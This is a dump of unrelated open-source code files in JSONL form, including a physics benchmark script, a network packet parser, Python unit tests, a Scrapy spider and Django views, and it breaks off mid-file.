DataBase3d()\noutput(\"db\")\noutput(\"db.appendNodeList(nodes1)\")\noutput(\"db.numNodeLists\")\noutput(\"db.numFluidNodeLists\")\n\n#-------------------------------------------------------------------------------\n# Construct the artificial viscosities for the problem.\n#-------------------------------------------------------------------------------\nq = Qconstructor(Cl, Cq)\nq.limiter = Qlimiter\nq.balsaraShearCorrection = balsaraCorrection\nq.epsilon2 = epsilon2\nq.negligibleSoundSpeed = negligibleSoundSpeed\nq.csMultiplier = csMultiplier\noutput(\"q\")\noutput(\"q.Cl\")\noutput(\"q.Cq\")\noutput(\"q.limiter\")\noutput(\"q.epsilon2\")\noutput(\"q.negligibleSoundSpeed\")\noutput(\"q.csMultiplier\")\noutput(\"q.balsaraShearCorrection\")\n\n#-------------------------------------------------------------------------------\n# Construct the hydro physics object.\n#-------------------------------------------------------------------------------\nhydro = Hydro3d(WT, WTPi, q, compatibleEnergy, gradhCorrection)\nhydro.cfl = cfl\nhydro.HEvolution = HEvolution\nhydro.sumForMassDensity = sumForMassDensity\nhydro.HsmoothMin = hmin\nhydro.HsmoothMax = hmax\noutput(\"hydro\")\noutput(\"hydro.cfl\")\noutput(\"hydro.HEvolution\")\noutput(\"hydro.sumForMassDensity\")\noutput(\"hydro.HsmoothMin\")\noutput(\"hydro.HsmoothMax\")\noutput(\"hydro.kernel()\")\noutput(\"hydro.PiKernel()\")\noutput(\"hydro.valid()\")\n\n#-------------------------------------------------------------------------------\n# Create boundary conditions.\n#-------------------------------------------------------------------------------\nxPlane0 = Plane3d(Vector3d(0.0, 0.0, 0.0), Vector3d(1.0, 0.0, 0.0))\nyPlane0 = Plane3d(Vector3d(0.0, 0.0, 0.0), Vector3d(0.0, 1.0, 0.0))\nzPlane0 = Plane3d(Vector3d(0.0, 0.0, 0.0), Vector3d(0.0, 0.0, 1.0))\nxbc0 = ReflectingBoundary3d(xPlane0)\nybc0 = ReflectingBoundary3d(yPlane0)\nzbc0 = ReflectingBoundary3d(zPlane0)\nhydro.appendBoundary(xbc0)\nhydro.appendBoundary(ybc0)\nhydro.appendBoundary(zbc0)\noutput(\"hydro.haveBoundary(xbc0)\")\noutput(\"hydro.haveBoundary(ybc0)\")\noutput(\"hydro.haveBoundary(zbc0)\")\n\n#-------------------------------------------------------------------------------\n# Construct a predictor corrector integrator.\n#-------------------------------------------------------------------------------\nintegrator = IntegratorConstructor(db)\noutput(\"integrator\")\nintegrator.appendPhysicsPackage(hydro)\noutput(\"integrator.havePhysicsPackage(hydro)\")\noutput(\"integrator.valid()\")\nintegrator.lastDt = dt\noutput(\"integrator.lastDt\")\nif dtMin:\n integrator.dtMin = dtMin\n output(\"integrator.dtMin\")\nif dtMax:\n integrator.dtMax = dtMax\n output(\"integrator.dtMax\")\nintegrator.dtGrowth = dtGrowth\noutput(\"integrator.dtGrowth\")\n\n#-------------------------------------------------------------------------------\n# Build the controller.\n#-------------------------------------------------------------------------------\ncontrol = SpheralController(integrator, WT,\n statsStep = statsStep,\n restartStep = restartStep,\n restartBaseName = restartBaseName)\noutput(\"control\")\n\n#-------------------------------------------------------------------------------\n# Load a restart file if requested.\n#-------------------------------------------------------------------------------\nif restoreCycle is not None:\n control.loadRestartFile(restoreCycle)\nelse:\n control.iterateIdealH()\n control.smoothState(smoothIters)\n\n#-------------------------------------------------------------------------------\n# Advance to the end time.\n#-------------------------------------------------------------------------------\ncontrol.step(maxSteps)\n","repo_name":"yiwang89/LLNL-spheral","sub_path":"tests/benchmark/Noh-spherical-3d-benchmark.py","file_name":"Noh-spherical-3d-benchmark.py","file_ext":"py","file_size_in_byte":10292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"39788203407","text":"import pytest\n\nfrom opta.algorithms.flower_pollination_algorithm import FPA\nfrom opta.tools.testing import smoke_check\n\n\n@pytest.mark.parametrize(\"_\", range(25))\ndef test_smoke(_):\n algorithm = FPA(25, 0.9, 0.25, 1.25)\n assert smoke_check(algorithm, number_of_iterations=10_000)\n try:\n state = algorithm.serialize()\n algorithm.deserialize(state)\n assert True\n except Exception:\n assert False\n","repo_name":"wol4aravio/opta","sub_path":"tests/opta/algorithms/test_flower_pollination_algorithm.py","file_name":"test_flower_pollination_algorithm.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72265782936","text":"# -*- coding: utf-8 -*-\n\"\"\"\ntest_compatibility\n~~~~~~~~~~~~~~~~~~\n\nTests for names that exist purely for compatibility purposes.\n\"\"\"\nimport re\nfrom os.path import abspath, join, dirname\nimport brotlicffi\n\n\ndef test_compatible_names():\n \"\"\"\n Encoder modes are also defined as individual top-level names with the same\n names as in brotlimodule.cc from the library.\n \"\"\"\n assert brotlicffi.MODE_GENERIC is brotlicffi.BrotliEncoderMode.GENERIC\n assert brotlicffi.MODE_TEXT is brotlicffi.BrotliEncoderMode.TEXT\n assert brotlicffi.MODE_FONT is brotlicffi.BrotliEncoderMode.FONT\n\n\ndef test_brotli_version():\n \"\"\"\n Test that the __version__ starts with the\n Brotli version that's compiled with.\n \"\"\"\n version_h = join(\n dirname(dirname(abspath(__file__))), \"libbrotli/c/common/version.h\"\n )\n with open(version_h) as f:\n brotli_versions = dict(\n re.findall(\n r\"#define BROTLI_VERSION_(MAJOR|MINOR|PATCH) ([0-9]+)\",\n f.read()\n )\n )\n assert brotlicffi.__version__.startswith(\n \"%s.%s.%s.\" % (\n brotli_versions[\"MAJOR\"],\n brotli_versions[\"MINOR\"],\n brotli_versions[\"PATCH\"]\n )\n )\n","repo_name":"python-hyper/brotlicffi","sub_path":"test/test_compatibility.py","file_name":"test_compatibility.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":144,"dataset":"github-code","pt":"68"} +{"seq_id":"34310333082","text":"from enum import Enum\n\n\nclass ParseError(Exception):\n \"\"\"\n This exception is raised when there is an issue while parsing a packet\n \"\"\"\n pass\n\n\nclass Packet:\n \"\"\"\n Base class for packets\n \"\"\"\n PacketType = Enum('PacketType',\n ['Ethernet_802_2', 'Ethernet_802_3', 'ARP', 'ICMP',\n 'CDP', 'IPv4', 'TCP', 'UDP', 'STP'])\n\n def __init__(self, type: PacketType, length: int):\n self.type = type\n self.length = length\n\n def __str__(self):\n return ''\n\n\nclass Ethernet_802_2(Packet):\n \"\"\"\n Class representing an Ethernet II frame\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.Ethernet_802_2, len(hex_data) / 2)\n byte_step = 2\n\n # parse header fields\n self.dst_mac = ':'.join([hex_data[i:i+byte_step] for i in range(0, 10 + byte_step, byte_step)])\n self.src_mac = ':'.join([hex_data[i:i+byte_step] for i in range(12, 22 + byte_step, byte_step)])\n self.ether_type = int(hex_data[24:28], 16)\n self.data = hex_data[28:]\n\n # parse encapsulated packet\n if self.ether_type == 0x806:\n self.encap = ARP(self.data)\n elif self.ether_type == 0x800:\n self.encap = IPv4(self.data)\n elif self.ether_type == 0x8181:\n self.encap = STP(self.data)\n else:\n raise ParseError('Unrecognized EtherType 0x{:04x}!'.format(self.ether_type))\n\n def __str__(self):\n str_rep = 'Ethernet II Frame:\\n'\n str_rep += ' Destination MAC Address: {}\\n'.format(self.dst_mac)\n str_rep += ' Source MAC Address: {}\\n'.format(self.src_mac)\n str_rep += ' EtherType: 0x{:04x}\\n'.format(self.ether_type)\n str_rep += ' Data: 0x{}\\n'.format(self.data)\n return str_rep\n\n\nclass Ethernet_802_3(Packet):\n \"\"\"\n Class representing an IEEE 802.3 Ethernet frame\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.Ethernet_802_3, len(hex_data) / 2)\n byte_step = 2\n\n # parse header fields\n self.dst_mac = ':'.join([hex_data[i:i + byte_step] for i in range(0, 10 + byte_step, byte_step)])\n self.src_mac = ':'.join([hex_data[i:i + byte_step] for i in range(12, 22 + byte_step, byte_step)])\n self.length = int(hex_data[24:28], 16)\n self.dsap = int(hex_data[28:30], 16)\n self.ssap = int(hex_data[30:32], 16)\n\n iframe = 0b0\n supervisory_frame = 0b01\n unnumbered_frame = 0b11\n first_control = int(hex_data[32:34], 16)\n control_end = 0\n # find out the type of frame to get proper control field\n if first_control & 0b1 == iframe or first_control & 0b11 == supervisory_frame:\n control_end = 36\n self.control = int(hex_data[32:36], 16)\n elif first_control & 0b11 == unnumbered_frame:\n control_end = 34\n self.control = int(hex_data[32:34], 16)\n else:\n raise ParseError('Unknown control field 0x{:02x}'.format(first_control))\n\n # parse encapsulated packet\n if self.ssap == 0xaa: # SNAP header extension\n header_end = control_end + 10\n self.org_code = ':'.join([hex_data[i:i + byte_step] for i in range(control_end, control_end + 6, byte_step)])\n self.pid = int(hex_data[control_end + 6:header_end], 16)\n self.data = hex_data[control_end + 10:]\n self.encap = CDP(self.data)\n elif self.ssap == 0x42:\n self.data = hex_data[control_end:]\n self.encap = STP(self.data)\n else:\n raise ParseError('Unknown source service access point (SSAP) 0x{:02x}'.format(self.ssap))\n\n def __str__(self):\n str_rep = 'IEEE 802.3 Ethernet Frame:\\n'\n str_rep += ' Destination MAC Address: {}\\n'.format(self.dst_mac)\n str_rep += ' Source MAC Address: {}\\n'.format(self.src_mac)\n str_rep += ' Length: {}\\n'.format(self.length)\n str_rep += ' Destination Service Access Pointer (DSAP): 0x{:04x}\\n'.format(self.dsap)\n str_rep += ' Source Service Access Pointer (SSAP): 0x{:04x}\\n'.format(self.ssap)\n str_rep += ' Control: 0x{:02x}\\n'.format(self.control)\n if self.ssap == 0xaa:\n str_rep += ' Organization Code: {}\\n'.format(self.org_code)\n str_rep += ' PID: 0x{:04x}\\n'.format(self.pid)\n str_rep += ' Data: 0x{}\\n'.format(self.data)\n return str_rep\n\n\nclass ARP(Packet):\n \"\"\"\n Class representing an ARP packet\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.ARP, len(hex_data) / 2)\n byte_step = 2\n\n self.hw_type = int(hex_data[0:4], 16)\n self.protocol_type = int(hex_data[4:8], 16)\n self.hw_addr_length = int(hex_data[8:10], 16)\n self.protocol_addr_length = int(hex_data[10:12], 16)\n self.opcode = int(hex_data[12:16], 16)\n\n # parse sender addresses\n sender_hw_addr_end = 16 + self.hw_addr_length * 2\n self.sender_hw_addr = ':'.join([hex_data[i:i + byte_step] for i in range(16, sender_hw_addr_end, byte_step)])\n sender_protocol_addr_end = sender_hw_addr_end + self.protocol_addr_length * 2\n self.sender_protocol_addr = '.'.join([str(int(hex_data[i:i + byte_step], 16)) for i in range(sender_hw_addr_end, sender_protocol_addr_end, byte_step)])\n\n # parse target addresses\n target_hw_addr_end = sender_protocol_addr_end + self.hw_addr_length * 2\n self.target_hw_addr = ':'.join([hex_data[i:i + byte_step] for i in range(sender_protocol_addr_end, target_hw_addr_end, byte_step)])\n target_protocol_addr_end = target_hw_addr_end + self.protocol_addr_length * 2\n self.target_protocol_addr = '.'.join([str(int(hex_data[i:i + byte_step], 16)) for i in range(target_hw_addr_end, target_protocol_addr_end, byte_step)])\n\n def __str__(self):\n str_rep = 'ARP Packet:\\n'\n str_rep += ' Hardware Type: {}\\n'.format(self.hw_type)\n str_rep += ' Protocol Type: 0x{:04x}\\n'.format(self.protocol_type)\n str_rep += ' Hardware Address Size: {}\\n'.format(self.hw_addr_length)\n str_rep += ' Protocol Address Size: {}\\n'.format(self.protocol_addr_length)\n str_rep += ' Opcode: {}\\n'.format(self.opcode)\n str_rep += ' Sender Hardware Address: {}\\n'.format(self.sender_hw_addr)\n str_rep += ' Sender Protocol Address: {}\\n'.format(self.sender_protocol_addr)\n str_rep += ' Target Hardware Address: {}\\n'.format(self.target_hw_addr)\n str_rep += ' Target Protocol Address: {}\\n'.format(self.target_protocol_addr)\n return str_rep\n\n\nclass ICMP(Packet):\n \"\"\"\n Class representing an ICMP packet\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.ICMP, len(hex_data) / 2)\n\n self.message_type = int(hex_data[0:2], 16)\n self.code = int(hex_data[2:4], 16)\n self.checksum = hex_data[4:8]\n self.extra_fields = hex_data[8:16]\n self.data = hex_data[16:]\n\n def __str__(self):\n str_rep = 'ICMP Packet:\\n'\n str_rep += ' Type: {}\\n'.format(self.message_type)\n str_rep += ' Code: {}\\n'.format(self.code)\n str_rep += ' Checksum: 0x{}\\n'.format(self.checksum)\n str_rep += ' Extra Fields: 0x{}\\n'.format(self.extra_fields)\n str_rep += ' Data: 0x{}\\n'.format(self.data)\n return str_rep\n\n\nclass CDP(Packet):\n \"\"\"\n Class representing a CDP packet\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.CDP, len(hex_data) / 2)\n byte_step = 2\n\n self.version = int(hex_data[0:2], 16)\n self.ttl = int(hex_data[2:4], 16)\n self.checksum = hex_data[4:8]\n self.tlvs = []\n i = 8\n while i < len(hex_data):\n type_field = hex_data[i:i + 4]\n length = int(hex_data[i + 4:i + 8], 16)\n value = hex_data[i + 8:i + 8 + (length - 4) * 2]\n self.tlvs.append((type_field, length, value))\n i = i + 8 + (length - 4) * 2\n\n def __str__(self):\n str_rep = 'CDP Packet:\\n'\n str_rep += ' Version: {}\\n'.format(self.version)\n str_rep += ' Time-to-Live: {} seconds\\n'.format(self.ttl)\n str_rep += ' Checksum: 0x{}\\n'.format(self.checksum)\n str_rep += ' List of Type-Length-Value tuples:\\n'\n for (type_field, length, value) in self.tlvs:\n str_rep += ' Type: 0x{}\\n'.format(type_field)\n str_rep += ' Length: {}\\n'.format(length)\n str_rep += ' Value: 0x{}\\n\\n'.format(value)\n return str_rep\n\n\nclass IPv4(Packet):\n \"\"\"\n Class representing an IPv4 packet\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.IPv4, len(hex_data) / 2)\n byte_step = 2\n\n self.version = int(hex_data[0], 16)\n self.header_length = int(hex_data[1], 16) * 4\n self.diff_services = hex_data[2:4]\n self.total_length = int(hex_data[4:8], 16)\n self.id = hex_data[8:12]\n self.flags = hex_data[12:14]\n self.ttl = int(hex_data[16:18], 16)\n self.protocol = int(hex_data[18:20], 16)\n self.header_checksum = hex_data[20:24]\n self.src_addr = '.'.join([str(int(hex_data[i:i + byte_step], 16)) for i in range(24, 32, byte_step)])\n self.dst_addr = '.'.join([str(int(hex_data[i:i + byte_step], 16)) for i in range(32, 40, byte_step)])\n self.options = hex_data[40:self.header_length * 2]\n self.data = hex_data[self.header_length * 2:]\n\n if self.protocol == 1:\n self.encap = ICMP(self.data)\n elif self.protocol == 6:\n self.encap = TCP(self.data)\n elif self.protocol == 17:\n self.encap = UDP(self.data)\n\n def __str__(self):\n str_rep = 'IPv4 Packet:\\n'\n str_rep += ' Version: {}\\n'.format(self.version)\n str_rep += ' Header Length: {} bytes\\n'.format(self.header_length)\n str_rep += ' Differentiated Services Field: 0x{}\\n'.format(self.diff_services)\n str_rep += ' Total Length: {}\\n'.format(self.total_length)\n str_rep += ' Identification: 0x{}\\n'.format(self.id)\n str_rep += ' Flags: 0x{}\\n'.format(self.flags)\n str_rep += ' Time to Live: {}\\n'.format(self.ttl)\n str_rep += ' Protocol: {}\\n'.format(self.protocol)\n str_rep += ' Header Checksum: 0x{}\\n'.format(self.header_checksum)\n str_rep += ' Source Address: {}\\n'.format(self.src_addr)\n str_rep += ' Destination Address: {}\\n'.format(self.dst_addr)\n if len(self.options) > 0:\n str_rep += ' Options: 0x{}\\n'.format(self.options)\n str_rep += ' Data: 0x{}\\n'.format(self.data)\n return str_rep\n\n\nclass TCP(Packet):\n \"\"\"\n Class representing a TCP packet\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.TCP, len(hex_data) / 2)\n\n self.src_port = int(hex_data[0:4], 16)\n self.dst_port = int(hex_data[4:8], 16)\n self.seq_num = int(hex_data[8:16], 16)\n self.ack_num = int(hex_data[16:24], 16)\n self.data_offset = int(hex_data[24], 16)\n self.flags = hex_data[25:28]\n self.window_size = int(hex_data[28:32], 16)\n self.checksum = hex_data[32:36]\n self.urgent_ptr = int(hex_data[36:40], 16)\n self.options = hex_data[40:40 + self.data_offset * 8]\n self.data = hex_data[40 + self.data_offset * 8:]\n\n def __str__(self):\n str_rep = 'TCP Packet:\\n'\n str_rep += ' Source Port: {}\\n'.format(self.src_port)\n str_rep += ' Destination Port: {}\\n'.format(self.dst_port)\n str_rep += ' Sequence Number: {}\\n'.format(self.seq_num)\n str_rep += ' Acknowledgement Number: {}\\n'.format(self.ack_num)\n str_rep += ' Data Offset: {}\\n'.format(self.data_offset)\n str_rep += ' Flags: 0x{}\\n'.format(self.flags)\n str_rep += ' Window Size: {}\\n'.format(self.window_size)\n str_rep += ' Checksum: 0x{}\\n'.format(self.checksum)\n str_rep += ' Urgent Pointer: {}\\n'.format(self.urgent_ptr)\n if len(self.options) > 0:\n str_rep += ' Options: 0x{}\\n'.format(self.options)\n if len(self.data) > 0:\n str_rep += ' Data: 0x{}\\n'.format(self.data)\n return str_rep\n\n\nclass UDP(Packet):\n \"\"\"\n Class representing a UDP packet\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.UDP, len(hex_data) / 2)\n\n self.src_port = int(hex_data[0:4], 16)\n self.dst_port = int(hex_data[4:8], 16)\n self.length = int(hex_data[8:12], 16)\n self.checksum = hex_data[12:16]\n self.data = hex_data[16:]\n\n def __str__(self):\n str_rep = 'UDP Packet:\\n'\n str_rep += ' Source Port: {}\\n'.format(self.src_port)\n str_rep += ' Destination Port: {}\\n'.format(self.dst_port)\n str_rep += ' Length: {}\\n'.format(self.length)\n str_rep += ' Checksum: 0x{}\\n'.format(self.checksum)\n str_rep += ' Data: 0x{}\\n'.format(self.data)\n return str_rep\n\n\nclass STP(Packet):\n \"\"\"\n Class representing an STP packet\n \"\"\"\n def __init__(self, hex_data: str):\n super().__init__(Packet.PacketType.STP, len(hex_data) / 2)\n byte_step = 2\n\n self.protocol_id = hex_data[0:4]\n self.protocol_version_id = int(hex_data[4:6], 16)\n self.bpdu_type = hex_data[6:8]\n self.flags = hex_data[8:10]\n root_ext = int(hex_data[12:14], 16)\n root_priority = int(hex_data[10:14], 16) - root_ext\n self.root_id = ' / '.join([str(root_priority), str(root_ext), ':'.join([hex_data[i:i + byte_step] for i in range(14, 26, byte_step)])])\n self.root_path_cost = int(hex_data[26:34], 16)\n bridge_ext = int(hex_data[36:38], 16)\n bridge_priority = int(hex_data[34:38], 16) - bridge_ext\n self.bridge_id = ' / '.join([str(bridge_priority), str(bridge_ext), ':'.join([hex_data[i:i + byte_step] for i in range(38, 50, byte_step)])])\n self.port_id = hex_data[50:54]\n self.message_age = int(hex_data[54:58], 16) / 256\n self.max_age = int(hex_data[58:62], 16) / 256\n self.hello_time = int(hex_data[62:66], 16) / 256\n self.forward_delay = int(hex_data[66:70], 16) / 256\n\n def __str__(self):\n str_rep = 'STP Packet:\\n'\n str_rep += ' Protocol Identifier: 0x{}\\n'.format(self.protocol_id)\n str_rep += ' Protocol Version Identifier: {}\\n'.format(self.protocol_version_id)\n str_rep += ' BPDU Type: 0x{}\\n'.format(self.bpdu_type)\n str_rep += ' BPDU flags: 0x{}\\n'.format(self.flags)\n str_rep += ' Root Identifier: {}\\n'.format(self.root_id)\n str_rep += ' Root Path Cost: {}\\n'.format(self.root_path_cost)\n str_rep += ' Bridge Identifier: {}\\n'.format(self.bridge_id)\n str_rep += ' Port Identifier: 0x{}\\n'.format(self.port_id)\n str_rep += ' Message Age: {:.0f}\\n'.format(self.message_age)\n str_rep += ' Max Age: {:.0f}\\n'.format(self.max_age)\n str_rep += ' Hello Time: {:.0f}\\n'.format(self.hello_time)\n str_rep += ' Forward Delay: {:.0f}\\n'.format(self.forward_delay)\n return str_rep\n","repo_name":"aidantlynch00/packet-parser","sub_path":"packet_types.py","file_name":"packet_types.py","file_ext":"py","file_size_in_byte":15434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"5126071086","text":"import csv\r\npList = []\r\nj, i = 0, 0\r\n\r\nwith open('produkter.csv', newline='') as csvfile:\r\n reader = csv.reader(csvfile, delimiter=';')\r\n for row in reader:\r\n pList.append([])\r\n for value in row:\r\n pList[j].append(value)\r\n i += 1\r\n i = 0\r\n j += 1\r\nk, l = 0, 0\r\nmatching = []\r\nfor prod in pList:\r\n matching.append([s for s in pList[k] if 'Finlandia' in s])\r\n if matching[k] == '':\r\n matching[k].clear()\r\n k += 1\r\nprint(matching)\r\n\r\n","repo_name":"Nostava/VinKjeller","sub_path":"0.001.py","file_name":"0.001.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"41029891210","text":"from django.contrib import admin\r\nfrom blog.models import Post, BlogComment\r\n\r\nadmin.site.site_header = \"iCoder Admin\"\r\nadmin.site.site_title = \"iCoder Admin Panel\"\r\nadmin.site.index_title = \"Welcome to iCoder Admin Panel\"\r\n\r\n# Register your models here.\r\n\r\nadmin.site.register((BlogComment))\r\n@admin.register(Post)\r\n \r\nclass PostAdmin(admin.ModelAdmin):\r\n class Media:\r\n js= ('tinyInject.js',)","repo_name":"sandhurohan/i-Coders-Blogging-Site","sub_path":"blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"14474127873","text":"# -*- coding: utf-8 -*-\n\nimport os\n\nfrom lintwork.printer.printer import Printer, PrinterException\nfrom lintwork.proto.proto import Format, Type\n\n\ndef test_exception():\n exception = PrinterException(\"exception\")\n assert str(exception) == \"exception\"\n\n\ndef test_printer():\n buf = [\n {\n Format.FILE: \"name1\",\n Format.LINE: 1,\n Format.TYPE: Type.ERROR,\n Format.DETAILS: \"text1\",\n },\n {\n Format.FILE: \"name2\",\n Format.LINE: 2,\n Format.TYPE: Type.WARN,\n Format.DETAILS: \"text2\",\n },\n ]\n\n printer = Printer()\n\n name = \"printer.json\"\n printer.run(data=buf, name=name, append=False)\n assert os.path.isfile(name)\n os.remove(name)\n\n name = \"printer.txt\"\n printer.run(data=buf, name=name, append=False)\n assert os.path.isfile(name)\n os.remove(name)\n\n name = \"printer.xlsx\"\n printer.run(data=buf, name=name, append=False)\n assert os.path.isfile(name)\n os.remove(name)\n","repo_name":"devops-lintflow/lintwork","sub_path":"tests/printer/test_printer.py","file_name":"test_printer.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"27266282872","text":"import dates\n\n\n# Prueba inicial de fecha_es_valida para validar las funciones que lo utilizan\n\ndef test_fecha_es_valida():\n # Tests for cases R0-1-01, R0-1-02, R0-1-03, R0-1-04\n fechas = [(1582, 10, 15), (2022, 10, 40), (1582, 13, 15), (1582, 13)]\n expect = [True, False, False, False]\n\n for fecha, expectVal in zip(fechas, expect):\n result = dates.fecha_es_valida(fecha)\n assert result is expectVal\n\n\n# Prueba de fecha_es_tupla para validar las funciones que lo utilizan\ndef test_fecha_es_tupla():\n # Tests for cases R0-2-01, R0-2-02\n tuples = [(1582, 13, 24), (1582, 13)]\n expect = [True, False]\n\n for singleTuple, expectVal in zip(tuples, expect):\n result = dates.fecha_es_tupla(singleTuple)\n assert result is expectVal\n\n\ndef test_dia_siguiente():\n # Primero consiste en los casos donde es valido\n fechas = [(1582, 10, 15), (2020, 12, 31), (2020, 2, 28)]\n expect = [(1582, 10, 16), (2021, 1, 1), (2020, 2, 29)]\n\n for fecha, expectVal in zip(fechas, expect):\n result = dates.dia_siguiente(fecha)\n assert result == expectVal\n\n # Segundo se probarán los casos donde se debe obtener el mensaje \"Error, la fecha no es valida\"\n # Estos casos consisten en: R3-02, R3-03, R3-05, R3-06, R3-07, R3-08, R3-09, R3-10\n fechas = [(1581, 1, 20), (1582, 10, 14), (2020, 13, 1), (2000, -1, 1), (1200, 2, 28), (2000, 2), \"(2000)\",\n (2000 - 12 - 1), (2002, 2, 31), (1990, 2, 30), (1900, 2, 0), (2000, 2, \"dia\")]\n\n for fecha in fechas:\n result = dates.dia_siguiente(fecha)\n assert result == \"Error, la fecha no es valida\"\n\n\ndef test_fecha_futura():\n # Primero consiste en los casos donde es valido\n fechas = [(1582, 10, 15), (1582, 10, 15), (1582, 10, 17), (1582, 10, 17), (1600, 1, 20), (2000, 2, 28),\n (2000, 2, 29)]\n\n dias = [1, 2, 1, 2, 1, 1, 1]\n\n expect = [(1582, 10, 16), (1582, 10, 17), (1582, 10, 18), (1582, 10, 19), (1600, 1, 21), (2000, 2, 29),\n (2000, 3, 1)]\n\n for fecha, expectVal, dia in zip(fechas, expect, dias):\n result = dates.fecha_futura(fecha, dia)\n assert result == expectVal\n\n # Segundo se probarán los casos donde se debe obtener el mensaje \"Error, la fecha no es valida\"\n # Estos casos consisten en: R3-02, R3-03, R3-05, R3-06, R3-07, R3-08, R3-09, R3-10\n fechas = [(1500, 1, 20), (4, 4), (2001, 2, 29)]\n dias = [1, 1, 1]\n\n for fecha, dia in zip(fechas, dias):\n result = dates.fecha_futura(fecha, dia)\n assert result == \"Error, la fecha no es valida\"\n\n # Tercero se probará el caso con días negativos\n result = dates.fecha_futura((1600, 1, 20), -1)\n assert result == \"Error, los dias deben ser positivos\"\n\n\ndef test_edad_al_01():\n result = dates.edad_al((1582, 10, 15), (1586, 10, 15))\n assert result == (4, 0, 0)\n\n\ndef test_edad_al_02():\n result = dates.edad_al((2000, 2, 25), (2022, 5, 30))\n assert result == (22, 3, 5)\n\n\ndef test_edad_al_03():\n result = dates.edad_al((2022, 5, 30), (2000, 2, 25))\n assert result == \"f1 debe ser menor que f2\"\n\n\ndef test_edad_al_04():\n result = dates.edad_al((4, 4), 1)\n assert result == \"Error, la fecha 1 no es valida\"","repo_name":"nanococo/A1_QA","sub_path":"code/test_dates.py","file_name":"test_dates.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"70120497497","text":"# -*- coding: UTF-8 -*-\n#!/usr/bin/env python\n\nimport sys\n\ntry: # main\n from application.scrapers.scrapers.articlespider import ArticleSpider\nexcept ImportError: # scrapy crawl\n sys.path.append(\"..\") # allow imports from application directory\n from scrapers.articlespider import ArticleSpider\n\n\nclass RippleSpider(ArticleSpider):\n \"\"\"ripple.com article spider\"\"\"\n name = \"ripple\"\n start_urls = [\n \"https://ripple.com/category/insights/news/\",\n \"https://ripple.com/category/insights/views/\",\n \"https://ripple.com/category/insights/features/\",\n \"https://ripple.com/category/xrp/\",\n ]\n article_xpath = \"//h2[@class='entry-title']/a\" # all articles\n new_articles_limit = 5\n\n def _extract_data(self, response, item):\n \"\"\"Override\"\"\"\n item[\"Author\"] = response.xpath(\"//span[contains(@class, 'author')]/text()\").extract_first()\n item[\"Author_Profile\"] = None\n item[\"Total_Views\"] = None\n item[\"Comments\"] = None\n item[\"Shares\"] = None\n item[\"Site_Name\"] = self.__class__.name\n xpath = \"//article//*[self::p]\"\n els = response.xpath(xpath).extract()\n if els:\n html = ''.join(els)\n item[\"Content_HTML\"] = self._cleaner.clean_html(html)\n item[\"Title\"] = item[\"Title\"].strip(\" | Ripple\")\n\n return item\n","repo_name":"fuzzy69/bns","sub_path":"application/scrapers/scrapers/spiders/ripple.py","file_name":"ripple.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"2603034075","text":"\nnames = []\nwith open(\"veri_names_trans.txt\", \"r\") as f:\n names = f.read().strip().split('\\n')\n\nquery_feats = []\nwith open(\"VeRi-chap4-1015-1-query_feats.txt\", \"r\") as f:\n l = f.read().strip().split('\\n')\n for i in range(len(l)):\n l[i] = l[i].strip().split(' ')\n for j in range(len(l[i])):\n l[i][j] = float(l[i][j])\n query_feats.append(list(l[i]))\n\ngallery_feats = []\nwith open(\"VeRi-chap4-1015-1-gallery_feats.txt\", \"r\") as f:\n l = f.read().strip().split('\\n')\n for i in range(len(l)):\n l[i] = l[i].strip().split(' ')\n for j in range(len(l[i])):\n l[i][j] = float(l[i][j])\n gallery_feats.append(list(l[i]))\n\nprint(len(names))\nprint(len(query_feats))\nprint(len(gallery_feats))\n","repo_name":"hbchen121/demo","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"40550533265","text":"from django.shortcuts import redirect, render\r\nfrom django.http import HttpResponse\r\nfrom django.urls import reverse\r\nfrom .models import Audio\r\nfrom .forms import AudioForm\r\nfrom .predict_nn import wav_nn_predict2\r\n\r\ndef FileHandler(request):\r\n message = 'Upload a music file to convert it into a transcribed MIDI file!'\r\n if request.method == 'POST':\r\n form = AudioForm(request.POST, request.FILES)\r\n if form.is_valid():\r\n if request.FILES['docfile'].temporary_file_path()[-3:] in ['mp3', 'ogg', 'wav']:\r\n newaudio = Audio(docfile = request.FILES['docfile'])\r\n newaudio.save()\r\n output = wav_nn_predict2(request.FILES['docfile'].temporary_file_path())\r\n return redirect(reverse('Confirmation'))\r\n else:\r\n message = 'Invalid file! File must be .wav, .ogg, or .mp3!'\r\n else:\r\n message = 'Invalid file!'\r\n form = AudioForm()\r\n\r\n files = Audio.objects.all()\r\n context = {'files': files, 'form': form, 'message': message}\r\n\r\n return render(request, 'upload.html', context)\r\n\r\ndef Confirmation(request):\r\n return 